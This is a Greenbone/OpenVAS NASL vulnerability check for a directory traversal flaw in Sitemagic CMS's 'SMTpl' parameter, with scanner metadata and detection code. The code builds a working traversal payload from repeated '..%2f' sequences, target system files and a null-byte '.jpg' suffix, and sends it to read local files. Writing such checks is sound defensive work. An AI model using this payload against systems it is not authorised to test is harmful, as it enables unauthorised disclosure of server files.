Sitemagic CMS 'SMTpl' Parameter Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902452");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-07-01 16:09:45 +0200 (Fri, 01 Jul 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Sitemagic CMS 'SMTpl' Parameter Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/48399");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/102498/sitemagic-traversal.txt");

  script_tag(name:"impact", value:"Successful exploitation could allow an attacker to obtain
  arbitrary local files in the context of the web server process.");

  script_tag(name:"affected", value:"Sitemagic CMS version 2010.04.17");

  script_tag(name:"insight", value:"The flaw is due to improper sanitisation of user supplied input
  through the 'SMTpl' parameter in 'index.php'.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Sitemagic CMS is prone to a directory traversal vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

files = traversal_files();

foreach dir( make_list_unique( "/Sitemagic", "/CMS", "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  res = http_get_cache(item:string(dir, "/index.php"), port:port);

  if("<title>Sitemagic CMS</title>" >< res){

    foreach file (keys(files)){

      url = string(dir, "/index.php?SMTpl=", crap(data:"..%2f", length:5*10), files[file], "%00.jpg");

      if(http_vuln_check(port:port, url:url, pattern:file)){
        report = http_report_vuln_url(port:port, url:url);
        security_message(port:port, data:report);
        exit(0);
      }
    }
  }
}

exit(99);